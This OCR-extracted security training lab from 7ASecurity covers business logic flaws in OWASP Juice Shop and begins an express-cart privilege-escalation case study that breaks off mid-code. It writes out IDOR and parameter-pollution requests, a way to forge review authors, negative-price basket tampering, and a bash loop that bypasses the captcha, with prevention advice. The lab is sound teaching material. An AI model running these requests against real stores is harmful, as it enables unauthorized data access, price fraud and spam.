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Part 0: Starting OWASP Juice shop

Before starting this lab, please make sure you are running OWASP Juice Shop inside
the VM:

Command:

cd ~/labs/partl/lab4/juice-shop
nvm use 12.16.0

npm start

Output:
> juice-shop@9.3.1 start /home/alertl/labs/partl/lab4/juice-shop
> node app

info: All dependencies in ./package.json are satisfied (OK)
info: Detected Node.js version v12.16.0 (OK)

info: Detected 0OS linux (OK)

info: Detected CPU x64 (OK)

info: Required file index.html is present (OK)

info: Required file styles.css is present (OK)

info: Required file main-es2015.js is present (OK)
info: Required file tutorial-es2015.js is present (OK)
info: Required file polyfills-es2015.73s is present (OK)
info: Required file runtime-es2015.js is present (OK)
info: Required file vendor-es2015.js is present (OK)
info: Required file main-es5.js is present (OK)

info: Required file tutorial-es5.js is present (OK)
info: Required file polyfills-es5.js is present (OK)
info: Required file runtime-es5.js is present (OK)
info: Required file vendor-es5.js is present (OK)

info: Configuration default validated (OK)

info: Port 3000 is available (OK)

info: Server listening on port 3000

VERY IMPORTANT: If you are unfamiliar with Burp, the following should be helpful
https://portswigger.net/burp/documentation/desktop/penetration-testing

Also, make sure you change Firefox so it allows proxying of localhost traffic:
https://www.developsec.com/2020/05/29/proxying-localhost-on-firefox/
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Part 1: Insecure Direct Object References (IDOR)

Insecure Direct Object References (IDOR) is an access control vulnerability which arises
when user controlled input is used by the application to directly access objects.

IDOR - View other users shopping basket

Login to Juice Shop, you can create your own user or login with the existing admin
credentials:

Login: admin@juice-sh.op

Password: admin123

Now, click on the link “Your Basket” which initiates the following API request to the
server:

Q@ Account W YourBasket &P EN

Your Basket (admin@7asecurity.com)

Image Product Price Quantity Total Price

You will gain 0 Bonus Points from this order!

Network Performance Memory Application Security Lighthouse  »
sable cache  Online
RLs (Al XHR JS CSS Img Media Font Doc WS Manifest Other Has blocked cookies Blocked Requests

Headers Preview Response Initiator Timing Cookies

General
Request URL: http://localhost:3000/rest/basket/5
Request Method: GET
Status Code: ® 200 0K
Remote Address: 127.0.0.1:3000

Referrer Policy: no-referrer-when-downgrade

Fig.: API call to retrieve basket items

Request:
GET /rest/basket/6 HTTP/1.1
Host: localhost:3000
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Authorization: Bearer token
Cookie: token=token

Response:
{"status":"success","data":{"id":6,"coupon”:null, "createdAt":"2020-03-03T705:28:35.104Z"
,"updatedAt":"2020-03-03T05:28:35.104Z","UserId":null, "Products":[]}}

The endpoint “/rest/basket’ takes an id and then based on the id, it returns data. So what
will happen if we simply modify the value of ID to some other value ? Let’s find out !

Login to the admin account (user A) and add a couple of products to the basket. Open
the “network” tab from the browser and click on "Your Basket”.

Q e Account g Your Basket

e admin@gmail.com

Your Basket (admin@gmail.com) @  Orders & Payment »

Image Product Price Quantity Total Price e Privacy & Security »

1) Logout
Apple Juice O &

(1000mi)

Banana Juice
(1000ml)

Apple Pomace

Fig.: Products in admin basket

Looking at the API calls, we can see a call to the endpoint “/rest/basket/6” means the
admin basket ID is 6 (depending on your user, this ID will change).

Now, using an incognito session from the browser, login as another user (just create
another one and call it something different like i.e. “user B”) and click on “Your Basket”.
Verify that the user basket doesn’t have any products right now.
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Your Basket (user@gmail.com)

Image Product Price Quantity Total Price

You will gain 0 Bonus Points from this order!

Fig.: User basket is now empty

Let's fire up burpsuite and try to manipulate this API call. Configure’ burpsuite to work
with your browser and ensure that “intercept request” is ON.

Click on “your basket” again and intercept the request in burp. Right click and move this
request to burpsuite repeater tab so that we can play around with the API.

J Intercept T HTTP history TWebSockets history T Options ]

@ Request to http://localhost:3000 [127.0.0.1]

[ Forward J [ Drop J |' Intercept is on ] ’ Action |

J Raw T Params T Headers T Hex ]

GET /rest/basket/6 HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Authorization: Bearer
eyJhbGci0iJSUzI1INiIsInR5cCI6IkpXVCTY.eyIzdGFO0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MTcsInVz2XJuYWllIjoiliwizWlh
MDE5MjAYM2E3YmJkNzMyNTAIMTZmMDY5ZGYXOGI1IMDAILCIyb2x1Ijoi¥3V2dGItZXIiLCIsYXNOTGInaW5JcCI6 I jAUMCAWL jAILCIwemIma
CJpc0FjdGl2ZSI6dHI1ZSwiY3J1YXR1ZEF0I joiMjAyMCOwNy0yOSAwNzowNzo0My 4 4NjMgKzAwO jAWI iwidXBkYXR1ZEF0I joiMjAyMCOwWNy
xsfSwiaWF0I joxNTKk2MDE2MTA2LCJI1eHAIOJEIOTYWMZQxMDZ9 .SZ1£1uK02J06F92AvXpjXSW_Yd-X6xdLaIsPvJ7wdj7hgDgisNzdE32d-u
BrBD-BJxwlwJw5GGP7Zj jwPNhbziCkleAmuf YyBXtAlVt07ao4KuMzSYXnaaQ
Connection: close

Referer: http://localhost:3000/

Send to Spider

Cookie: language=en; welcomebanner_ status=dismiss; cookieconsent IDQREZQ47
io=eX8co7BYtQrEU_YuAAAV; Do an active scan

token=eyJhbGci0iJSUzI1INiIsSINR5cCI6IkpXVCJI9.eyJzdGF0dXMiOiJzdWNIZ 7 11TjoiTi
JkIjoiMDES5MjAYM2E3YmIKNzMyNTA IMTZmMDY5 ZGYX0GI IMDAI LCIyb2x1TjoiY3 Send to Intruder 38+ + LIAILCT

i0iIiLCIpcOFjdGL2ZSI6dHI1ZSWwiY3T1YXRIZEF0I joiMjAyMCOWNyY0yOSAWNZ O Send to Repeater %+~A+R  DREER)NY
IjpudWxsfSwiaWFO0IjoxNTk2MDE2MTA2LCJI1eHAIOJEIOTYwWMzQxXMDZ9.SZz1f1uK igDgisNzd
XgLe5¢BrBD-BIXwlwIw5GGP72 jjwPNhbziCkleAmuf YyBXtAlVtO7a04KuMzSYXn Send to Sequencer

Send to Comparer
Send to Decoder

Fig.: Intercepting the request and moving to repeater.

Within the burpsuite repeater, simply fire this request with basket id 6 (default one
without changing) and see the response. We can confirm that no product is there in the
basket.

! https://portswigger.net/support/configuring-your-browser-to-work-with-burp
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Go ) Cancel <|*
Request

Raw | Params | Headers | Hex

Target: htty

Response

Raw | Headers | Hex | JSON Beautifier |

GET /rest/basket/G!HTTP/l.l
GSt: localhost: 0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101

Firefox/78.0

Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer

eyJThbGciOiJSUzIINiISInR5cCI6IKpXVCI9.eyJzdGFOdXMi0iJzdWN]ZXNzIiwiZGF0YSI6eyJpZCI6MTCS
InVzZXJuYW11lIjoiIiwiZWlhaWwiOiJhZG1lpbkA3YXN1Y3VyaXR5LmNvbSIsInBhc3N3b3JkIjoiMDESMjAy
M2E3YmJKNzMyNTAIMTZmMDY52GYX0GI IMDAILCJyb2x11j0iY3V2dGItZXIiLCISYXNOTGInaW5JcCI6IjAu
MC4wLjAiLCIwemImaWx1SW1hz2Ui0iJkZWZhdWx0LNN2ZyIsInRvVdAHBTZWNyZXQi0iIiLCIpcOFjdG12ZSI6
dHJ1ZSwiY3J1YXR1ZEF0IjoiMjAyMCOwNy0yOSAwNzowNzo0OMy44NjMgKzAwOjAWIiwidXBKYXR1ZEFOIjoi
M3jAyMCOwNy0yOSAwNzowNzo0OMy44NjMgKzAwO JAWI iwiZGVsZXR1ZEFO0I jpudWxs fSwiaWF0IjoxNTk2MDE2
MTA2LCJ1eHAiOjJE1O0TYwMzQxMDZ9.SZ21f1uK02zJO6F92AvXpjXSW_Yd-X6xdLaIsPvJ7wdj7hgDgisNzdE32
d-us51YbVcjTzr IR6FLEWSAN1gGpQUAdsBv1I91gnxE5puJFKAXgLC5CBrBD-BIxwlwIw5GGP7% ) jwPNhbziC

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=utf-8
Content-Length: 156

ETag: W/"9c-DWuUX7rVE+1cLhUTXk2U3B9i6cQ"
Vary: Accept-Encoding

Date: Wed, 29 Jul 2020 11:26:38 GMT
Connection: close

T

{"id":6, "coupon" :nul
":"2020-07-29T09

Fig.: basket with no products

Now let’s simply modify the basket id to 8 (the admin basket ID) and repeat the request.

Cancel

Go | [<iv] [ >

Request

J Raw T Params T Headers T Hex 1

Target: http:/ /localhost:3000 [#| |

Response

J Raw T Headers T Hex TJSON Beautifier ]

IGET /rest/basket/8[HTTP/1.1

Host: localhost:3000

User-Agent: Mozilla/5.0 (Macintosh;
Intel Mac OS X 10.15; rv:78.0)
Gecko/20100101 Firefox/78.0

Accept: application/json, text/plain,
*/*

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer
eyJhbGci0iJSUzIINiISINR5cCI6IKpXVCI9.ey
JzdGF0dXMi0iJzdWNjZXNzIiwiZGF0YSI6eyJp
ZCI6MTcsInVzZXJuYW1llIjoiTIiwiZWlhaWwiOi
JhZG1lpbkA3YXN1Y3VyaXR5LmNvbSIsInBhe3N3
b3JkIjoiMDE5MAYM2E3YmJIkNzMyNTA1MT ZmMD
Y5ZGYXOGI1IMDAILCIyb2x1IjoiY¥3VzdGotZXIi
LCIsYXNOTG9naW5JcCI6IjAUMCAWLjALILCTwem
9IMaWx1SW1hZ2Ui0iJkZWZhdWx0LnN2ZyIsInRv
dHBTZWNYZXQiO0iIiLCJIpcOFjdGl2ZSI6dHI1ZS
wiY3J1YXR1ZEFO0IjoiMjAYMCOWNyO0yOSAWNzZOwW
NzoOMy44NjMgKzAwWO jAwIiwidXBkYXR1ZEFO0Ij
0iMjAyMCOwNyO0yOSAwNzowNzo0My44NjMgKzAw
0jAWIiwiZGVsZXR1ZEF0IjpudWxsfSwiaWFO0Ij

J»

HTTP/1.1 200 OK

X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

Content-Type: application/json; charset=utf-8
ETag: W/"56e-kceeFRrPgQjOJ+N9UzeYW7SOFjo"
Vary: Accept-Encoding

Date: Wed, 29 Jul 2020 11:38:59 GMT
Connection: close

Content-Length: 1390

{"status":"success","data":{"id":6, "coupon":null, "createdAt":
"2020-07-29T09:48:26.840Z", "updatedAt":"2020-07-29T09:48:26.8

40zZ","UserId :null, "Products :[{"1d":1, "name": "Apple Juice
(1000ml)","description":"The all-time
classic.","price":1.99,"deluxePrice":0.99,"image": "apple_juic
e.jpg","createdAt":"2020-07-29T07:06:23.1752", "updatedAt":"20
20-07-29T07:06:23.1752", "deletedAt":null, "BasketItem":{"id":7
,"quantity":1, "createdAt":"2020-07-29T11:29:15.0222", "updated
At":"2020-07-29T11:29:15.0222", "BasketId":6,"ProductId":1}},{
"id":6,"name": "Banana Juice (1000ml)","description":"Monkeys

love it the

Fig.: Changing the basket ID discloses the product details of other users

We can see that simply changing the ID of the basket discloses all the basket items of

the other user.

Let’s try this again from the incognito session (or user B). Click on “Your Basket” again
but this time intercept the request and modify the “/rest/basket/6” API call to
“Irest/basket/8”.

7ASecurity © 2022
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user@gmail.com

Your Basket (user@gmail.com) Orders & Payment »

Image Product Price Quantity Total Price Privacy & Security »

) Logout
Apple Juice

(1000mi)

Banana Juice
(1000mi)

Apple Pomace

Fig.: Products in admin basket are being shown in user account

The admin basket products are now shown in the user account! Simply changing the id
to other numbers, other users' basket data will be disclosed !

Request:

GET /rest/basket/9 HTTP/1.1
Host: localhost:3000
Authorization: Bearer token
Cookie: token=token

Response:

{"status":"success","data":{"id":5,"coupon”:null, "createdAt":"2020-03-03T705:17:04.123Z"
,"updatedAt":"2020-03-03T05:17:04.123Z","UserId":null, "Products":[{"id":1, "name":"Apple
Juice (1000ml)","description":"The all-time
classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg","createdAt":"2020-0
3-03T04:12:30.712Z", "updatedAt":"2020-03-03T04:12:30.712Z2","deletedAt" :null, "BasketItem
"o{"id":7,"quantity":1, "createdAt":"2020-03-03T05:17:46.844Z","updatedAt":"2020-03-03T0
5:17:46.844Z","BasketId":5,"ProductId":1}}]1}}

7ASecurity © 2022
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HTTP Parameter Pollution - Add items to other users basket

Login to Juiceshop as a new user (user A) and click on “Your Basket” (open the browser
console to see network requests). Ensure that the basket is empty. AREST API call can
be seen to the endpoint “/rest/basket/5” means the Basket ID is 5 (this can change
depending on user accounts).

Your Basket (admin@7asecurity.com)

Image Product Price Quantity Total Price

You will gain 0 Bonus Points from this order!

Network Performance Memory Application Security Lighthouse EditThis(

hble cache  Online
s [All XHR JS CSS Img Media Font Doc WS Manifest Other Has blocked cooki

Headers Preview Response Initiator Timing

General
Request URL: http://localhost:3000/rest/basket/5
Request Method: GET
Status Code: ®

Referrer Policy: no-referrer-when-downgrade

Fig.: Admin basket is empty.

Using an incognito session in the browser, let’s login as a user (user B) and try to add a
product to the cart. Using burp suite, we can see the corresponding API call to add
products to basket.

Request:

POST /api/BasketItems/ HTTP/1.1
Host: localhost:3000
Authorization: Bearer token
Content-Type: application/json
Cookie: token= token

{"ProductId":1,"BasketId":"9","quantity":1}

7ASecurity © 2022
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Response:
{"status":"success","data":{"id":12,"ProductId":3, "BasketId":"9","quantity":1, "updatedA
t":"2020-03-03T710:35:19.764Z","createdAt":"2020-03-03T10:35:19.764Z2"}}

Banana Juice
(1000ml)

1.99a

Add to Basket

Security Lighthouse EditThisCookie

anifest Other Has blocked cookies Blocked Requests

Headers Preview Response Initiator Timing »

General
Request URL: http://localhost:3000/api/BasketItems/
Request Method: POST
Status Code: ® 200 0K

Fig.: API call to add a new element to the basket
So the basket ID for the user (user B) in the incognito session is 9.

Let’s fire up burpsuite and try to manipulate this API call. Configure? burpsuite to work
with your browser and ensure that “intercept request” is ON.

Let’s try to add one more product but this time, using burpsuite, we change the basket ID
from 9 to 5 to see if we can add products to other customers' baskets (user B trying to
add product to user A’'s basket).

2 https://portswigger.net/support/configuring-your-browser-to-work-with-burp

7ASecurity © 2022
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Go ‘ Cancel < v >\ Target: http

Request Response

J Raw T Params T Headers | Hex | JSON Beautifier ] Raw | Headers | Hex

POST /api/BasketItems/ HTTP/1.1 HTTP/1.1 401 Unauthorized

A
Host: localhost:3000 r X-Powered-By: Express
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Access-Control-Allow-Origin: *
Gecko/20100101 Firefox/78.0 X-Content-Type-Options: nosniff
Authorization: Bearer X-Frame-Options: SAMEORIGIN
1gnxE5puJFKAXgLc5cBrBD-BIxwlwJw5GGP7Zj jwPNhbziCkleAmufYyBXtA1VtO7ao4KuM Content-Type: text/html; charset=
zSYXnaaQ Content=Length: 30
Content-Type: application/json ETag: W/"le-Civ7sdKmdsocUgNskj+8:
Content-Length: 43 Vary: Accept-Encoding
Origin: http://localhost:3000 Date: Wed, 29 Jul 2020 12:10:15 ¢
Connection: close Connection: close
Referer: http://localhost:3000/
Cookie: language=en; welcomebanner status=dismiss; |('error' : 'Invalid BasketId'}
cookieconsent_status=dismiss;
continueCode=176WmZaDgREzQ47eK21jboPnd9yTMin8iEzdgrwvYBIMIVEkXOpN513yLx
K2; io=nyGQRH5_jowLYC3zAADh;
token=eyJhbGci0iJSUzIINiIsInR5cCI6IkpXVCIY . eyJzdGF0dXMiOiJzdWNZXNzIiwi
ZGF0YSc5cBrBD-BJIxwlwJw5GGP7%j jwPNhbziCkleAmufYyBXtAlVtO7ao4KuMzSYXnaaQ
{llproductmu:s : "1y

Fig.: Direct manipulation of BasketID doesn’t seems to work

Request:

POST /api/BasketItems/ HTTP/1.1
Host: localhost:3000
Authorization: Bearer token
Content-Type: application/json
Cookie: token= token

{"ProductId":1,"BasketId":"8","quantity":1}

Response:

{'error' : 'Invalid BasketId'}

Looks like manipulating the basket ID is not possible at least directly.

One method to bypass such scenarios is HTTP Parameter Pollution (HPP) where we
pass the same HTTP parameter multiple times with different values which may cause an
application to interpret values in unanticipated ways.

Request:

POST /api/BasketItems/ HTTP/1.1
Host: localhost:3000
Authorization: Bearer token
Content-Type: application/json
Content-Length: 58

Cookie: token=

{"ProductId":2,"BasketId":"5","BasketId":"9","quantity":1}

7ASecurity © 2022
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Response:

{"status":"success","data":{"id":11,"ProductId":2, "BasketId":"5","quantity":1, "updated
At":"2020-03-03T10:31:20.397Z","createdAt":"2020-03-03T10:31:20.397Z2"}}

As you can see from the response, passing the same parameter 2 times, one with the
default value (9 in this case) and next one with another user’s basket ID (5).

Let’s refresh our first session (user A - not the incognito) to check if a new product has
been added to the list:

admin@gmail.com

Your Basket (admin@gmail.com) Orders & Payment »

Image Product Price Quantity Total Price Privacy & Security »

) Logout
Apple Juice
(1000ml)

Fig.: user added a new product to admin basket

NOTE: If you try to add an item you have already added in the previous exercise it won't
be a POST but it will be a PUT that changes the /api/Basketltems/ID directly. In order to
get the post we need to use a different item

IDOR - Add a product review as admin

All the listed products in the Juice Shop have an option to add reviews by the customers.
Login as a new user and click on any one of the products to check the existing
comments:

7ASecurity © 2022
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Apple Juice (1000ml)

The all-time classic.

1.990

Reviews (1)

admin@juice-sh.op
One of my favorites! Itn

Write a review
Review

What did you like or dislike?

© Max. 160 characters

X Close

Fig.: Product reviews - Users can add/view reviews

Let’s use burp suite to look at the API calls and figure out if we can comment on the
product as some other users. Let’s try to add a comment and intercept the request:

Request:

PUT /rest/products/24/reviews HTTP/1.1
Host: localhost:3000

Authorization: Bearer token
Content-Type: application/json
Content-Length: 66

Cookie: token= token

{"message":"test comment by the user !","author":"user@gmail.com"}

Response:

7ASecurity © 2022
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{"staus":"success"

Go . Cancel < (v > v Target: http://localhost:3000 "_é
Request Response
J Raw T Params T Headers T Hex TJSON Beautifier ] J Raw T Headers T Hex TJSON Beautifier ]

PUT /rest/products/1/reviews HTTP/1.1 HTTP/1.1 201 Created

Host: localhost:3000 : X-Powered-By: Express

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; Access-Control-Allow-Origin: *
rv:78.0) Gecko/20100101 Firefox/78.0 X-Content-Type-Options: nosniff
Authorization: Bearer X-Frame-Options: SAMEORIGIN
eyJhbGci0iJSUzI1INiIsINnR5cCI6IkpXVCJY .eyJzdGF0dXMi0iJzdWNjZXNzIiwia Content-Type: application/json;

0 charset=utf-8

Content-Type: application/json Content-Length: 19

Content-Length: 51 ETag: W/"13-7VZO8KTPonIRADiOKwrrIwu7050"
Origin: http://localhost:3000 Vary: Accept-Encoding

Connection: close Date: Wed, 29 Jul 2020 15:21:15 GMT
Referer: http://localhost:3000/ Connection: close

Cookie: language=en; welcomebanner status=dismiss;

cookieconsent_status=dismiss; {"staus":"success"}
continueCode=176WmZaDgREzQ47eK21jboPnd9yTMin8iEzdgrwvYBIMIVBKXOpNS

13yLxK2; io=0zMv-mlOfiipQ6c-AALU;

token==AXgLc5¢BrBD-BIxwlwIwSGGP72 j jwPNhbziCkleAmuf YyBXtAlVtO7ao4Ku

MzSYXnaaQ

t”message":”this is a review","author”:"Anonymous”}l

Fig.: Burp Suite - API call to add product review

The PUT call has 2 parameters, message and author. Let’'s modify the author parameter
to admin’s email and forward the request to check if the request is vulnerable to IDOR.

Request:

PUT /rest/products/24/reviews HTTP/1.1
Host: localhost:3000

Authorization: Bearer token
Content-Type: application/json
Content-Length: 66

Cookie: token= token

{"message":"test comment by the user !","author":"admin@juice-sh.op"}

Response:

{"staus":"success"}

Checking the product reviews again, we can see a new review has been added from the
admin.

7ASecurity © 2022
14




Business Logic Flaws

7asecurity.com

Apple Pomace

Finest pressings of apples. Allergy
disclaimer: Might contain traces of
worms. Can be sent back to us for
recycling.

0.89a

Reviews (1)

admin@juice-sh.op
test comment by the user !

Fig.: Review added as admin.
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IDOR - Manipulating product price

After adding products to the basket, users have an option to increase or decrease
quantity. Let’s try to increase the quantity and intercept the request via burp suite.

Your Basket (user@gmail.com)

Image Product Price Quantity Total Price

Apple Juice
(1000ml)

Fig.: Current quantity and price

Request:

PUT /api/BasketItems/8 HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 16

{"quantity":2}

Response:

{"status":"success","data":{"id":8,"quantity":2,"createdAt":"2020-03-04T707:15:06.609Z"
,"updatedAt":"2020-03-04T07:16:22.490Z","BasketId":6, "ProductId":1}}

From the Ul, it's only possible to increase or decrease the quantity by 1. Let’s try to
intercept and manipulate the API call to update the quantity as “0.5” and see what
happens.

Request:

PUT /api/BasketItems/8 HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 16

{"quantity":0.5}

_

7ASecurity © 2022
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Response:

{"status":"success","data":{"id":8,"quantity":0.5, "createdAt":"2020-03-04T07:15:06.609
Z","updatedAt":"2020-03-04T707:16:22.490Z", "BasketId":6,"ProductId":1}}

The quantity and price got updated but the product remains the same (with the same
1000 ML quantity). Now a user can checkout the same product for a lesser price !

Your Basket (user@gmail.com)

Image Product Price Quantity Total Price

Apple Juice
(1000ml)

Fig.: Quantity and price got changed while product didn;t

Let’s again try to intercept the same API call once again but this time, let’s give negative
quantities and see how the application responds.

Request:

PUT /api/BasketItems/8 HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 16

{"quantity":-2}

Response:

{"status":"success","data":{"id":8,"quantity":-2,"createdAt":"2020-03-04T07:15:06.609Z
","updatedAt":"2020-03-04T07:16:22.490Z" ,"BasketId":6, "ProductId":1}}

7ASecurity © 2022
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Your Basket (user@gmail.com)

Image Product Price Quantity Total Price

Apple Juice
(1000ml)

Fig.: Quantity and price in negative

The quantity got updated to -2 successfully and price is now returning as negative !
Hence we will get paid for this instead of paying :)

Preventing IDOR

The recommended way to fix IDOR vulnerabilities is to:

1. Strict Access Control: The best way to prevent Insecure Direct Object
References (IDOR) is to implement proper access control mechanisms. Before
returning an object to a user, ensure that the user is “Authorized” to view the
content.

2. Centralized Security Controls: As always with security, security controls work
best when centralized and enabled by default, implementing a data model or data
access abstraction layer that adds the user as a foreign key to all data access
requests ensures users can only access the data they legitimately should.

7ASecurity © 2022
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Part 2: Bypassing/Computing Captcha

The major reason for using captcha especially on form submissions is to distinguish
humans from script & machine input, typically as a way of preventing spam.

Analysing the working of Captcha

Exploring the contact form

The contact form in Juiceshop is protected with Captcha to prevent automated form
submissions. Let’s verify how it works: http://localhost:3000/#/contact

Customer Feedback

Comment

test comment

© Max. 160 characters 12/160

Rating * * ** *

CAPTCHA: Whatis 7+1%3?

Result

10

Fig.: Captcha in contact us form

Let’s reload the form and fill it with some test data to submit while inspecting the network
calls in the browser (or looking at burp history).

7ASecurity © 2022
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Name Headers Preview Response Initiator  Timing

B ¢ whoami General

B © captcha/ Request URL: http://localhost:3000/rest/captcha/
B @ Materiallcons-Regular.woff2 Request Method: GET

B @ font-mfizz.woff Status Code: ® 200 0K

[l @ 7ElO0=3&transport=polling&t=NEQdnlr&sid=Hr. Remote Address: 127.0.0.1:3000

B @ favicon_js.ico Referrer Policy: no-referrer-when-downgrade

Fig.: Captcha request

Request:

GET /rest/captcha HTTP/1.1
Host: localhost:3000
Authorization: Bearer token
Cookie: token=token

Response:
{"captchald":2,"captcha”:"2+3-2","answer":"3"}

Headers Preview Response Initiator Timing Cookies

i“captchaId" :3,"captcha":"8+6+7",['answer": "21"l

Fig.: Captcha response has the answer as well !

Seems like the captcha data to solve is taken from the API call which also contains its
answer as well. Let’s try to submit a form to capture its API call.

Request:

POST /api/Feedbacks/ HTTP/1.1
Host: localhost:3000
Authorization: Bearer token
Content-Type: application/json
Content-Length: 87
Cookie:token=token

{"UserId":18, "captchald":2,"captcha":"3","comment":"this is a test

comment"”,"rating":3}

Response:

{"status":"success","data":{"id":8,"UserId":18,"comment":"this is a test

7ASecurity © 2022
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comment","rating":3,"updatedAt":"2020-03-03T713:15:55.231Z", "createdAt":"2020-03-03T13:
15:55.2317"}}

CaptchalD and the value is verified at the server side so incase if we provide the wrong
captcha, application throws an error.

Customer Feedback

Author

user@gmail.com

Comment

Elements Console Sources Network Performance Memory Application Security

Preserve log Disable cache  Online f
Hide data URLs [All XHR JS CSS Img Media Font Doc WS Manifest Ot

Headers Preview Response Initiator  Timing

General
Request URL: http://localhost:3000/api/Feedbacks/
Request Method: POST
Status Code: @ 401 Unauthorized
Remote Address: 127.0.0.1:3000

Fig.: Application throwing an error for invalid captcha

Bypassing Captcha
Step 1: Manipulating Captchald

Now that we know that if the “Captchald” is 2, the corresponding answer is 3. Let’s
refresh the form and try to submit the new form by changing its Captchald to 2 and
corresponding value to 3.

Command:
alertl@7ASecurity ~ $ token="" # paste the token

alertl@7ASecurity ~ $

curl -H "Authorization: Bearer S$token" -H "Content-Type: application/json" -d
'{"UserId":17, "captchald":0,"captcha":"-23","comment":"This is a test
comment"™, "rating":4}' http://localhost:3000/api/Feedbacks/

7ASecurity © 2022
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Output:

{"status":"success","data": {"id":20,"UserId":17, "comment":"This is a test
comment","rating":4,"updatedAt":"2020-03-12T07:15:33.7302", "createdAt":"2020-03
-12T07:15:33.7302"}}

The request went through successfully and we have bypassed the Captcha verification!
Let’s write a bash script which submits the form 5 times using the above curl request.

Code:

#!/bin/bash
token="" # Add the token here
for i in {1..5}
do
curl -H "Authorization: Bearer $token" -H "Content-Type: application/json" -d
"{"UserId":17,"captchald":0,"captcha":"-23","comment”:"This is a test
comment","rating":4}"' 'http://localhost:3000/api/Feedbacks/"
echo
done

Let’s save the script as “captcha.sh” and then run it.

Command:
alertl@7ASecurity ~ $ chmod 755 captcha.sh
alertl@7ASecurity ~ $ ./captcha.sh

Output:

{"status":"success","data":{"id":56, "UserId":17,"comment":"This is a test
comment","rating":4,"updatedAt":"2020-03-12T07:35:58.707Z", "createdAt":"2020-03-12T07:
35:58.707Z"}}

{"status":"success","data":{"id":57,"UserId":17,"comment"”:"This is a test
comment","rating":4,"updatedAt":"2020-03-12T07:35:58.763Z","createdAt":"2020-03-12T07:
35:58.763Z"}}

{"status":"success","data":{"id":58,"UserId":17,"comment":"This is a test
comment","rating":4,"updatedAt":"2020-03-12T707:35:58.810Z", "createdAt":"2020-03-12T07:
35:58.810Z"}}

{"status":"success","data":{"id":59,"UserId":17,"comment":"This is a test
comment","rating":4,"updatedAt":"2020-03-12T07:35:58.863Z", "createdAt":"2020-03-12T07:
35:58.863Z"}}

{"status":"success","data":{"id":60, "UserId":17,"comment":"This is a test
comment”,"rating":4,"updatedAt":"2020-03-12T707:35:58.903Z","createdAt":"2020-03-12T07:
35:58.903Z"}}

7ASecurity © 2022
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The output tells us that we have submitted the form 5 times without modifying the
captcha ID and value.

7ASecurity © 2022
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Case Study: Express-cart: Privilege Escalation

Introduction

ExpressCart® is a fully functional shopping cart built in Node.js (Express, MongoDB) with
Stripe, PayPal and Authorize.net payments.

A vulnerability in the access control in module express-cart <=1.1.5 allows unprivileged
users to add new users to the application as administrators (CVE-2018-16483*).

Before proceeding with the lab, please install/run the vulnerable version of express-cart
which is by default installed on the lab VM: ~/1abs/partl/lab4/express-cart

Commands:
cd ~/labs/partl/lab4/express—-cart
npm start

If you are not using the lab VM, you need to manually install/setup the express-cart:

Download Link:
https://training.7asecurity.com/ma/mwebapps/part1/apps/express-cart.zip

Installation:

mkdir ~/labs/partl/labd/

cd /labs/partl/lab4/

# copy the express-cart.zip downloaded from the above link
unzip express-cart.zip

cd express-cart

npm install

npm start

Output:
> express-cart@l.1.18 start /home/alertl/labs/partl/labd/express-cart
> node app.js

Setting up indexes..

- Product indexing complete
- Order indexing complete

- Customer indexing complete

3

https://qithub.com/mrvautin/expressCart
4 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16483
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expressCart running on host: http://localhost:1111

Once the service is installed and running, go to “http://localhost:1111/admin” to set up the
first time user which is by default admin.

expressCart Setup

Users name *

admin

User email *
admin@gmail.com

User password *
LEEXX X ]

Password confirm *

Complete setup

Fig:. setting up the first time “admin” user

Once the default admin user is set up, login with the same credentials and create a
normal user (without admin permissions).

Users

a+ New

& Edit

@ My Account

_
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Fig:. Add a normal user (without admin permission)

Now the application has 2 users in total as shown in the below screenshot out of which
“‘admin@gmail.com” is the admin which “user@gmail.com” is a normal user account.

Users
User: admin - (admin@gmail.com) Role: Admin (Owner) # T
| User: user - (user@gmail.com) | Role: User ' T

Fig:. users and permissions

Now let’s logout and login back as a normal user. We can see that the admin
permissions like adding a new user is not available for the normal user.

Let’'s deep dive into the source code to see how the privilege separation is being done
within the code.

Escalating privileges - Adding a new admin

A good place to start looking at is the “routes” directory where all the API routes and its
corresponding function definitions will be defined. Let’s look at the user.js file inside
routes directory (from the name it’s clear that this file contains all the endpoints which a
user can hit):

Filename:
routes/user.js

Code:

const express = require('express');
const { restrict } = require('../lib/auth');
[...]
router.get('/admin/users', restrict, async (req, res) => {
[...]
res.render('users’, {
title: 'Users',
users: users,
admin: true,
config: req.app.config,
isAdmin: req.session.isAdmin,
helpers: reqg.handlebars.helpers,

_
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session: req.session,
message: clearSessionValue(req.session, 'message'),
messageType: clearSessionValue(req.session, 'messageType')

1)
1)

So most of the routes check the authentication with the “restrict” function defined in
“lib/auth.js” and there is a very interesting session variable named “isAdmin” which
determines if the current session is an admin or not.

At the end of the file, there is a very interesting route which basically used for creating
new users:

Code:

router.post('/admin/user/insert', restrict, (req, res) => {
const db = req.app.db;

let urlParts = url.parse(req.header('Referer'));
let isAdmin = false;

if(urlParts.path === '/admin/setup'){
isAdmin = true;

}
let doc = {
usersName: req.body.usersName,
userEmail: req.body.userEmail,
userPassword: bcrypt.hashSync(req.body.userPassword, 10),
isAdmin: isAdmin
s

db.users.findOne({'userkmail': req.body.userEmail}, (err, user) => {
if(user){

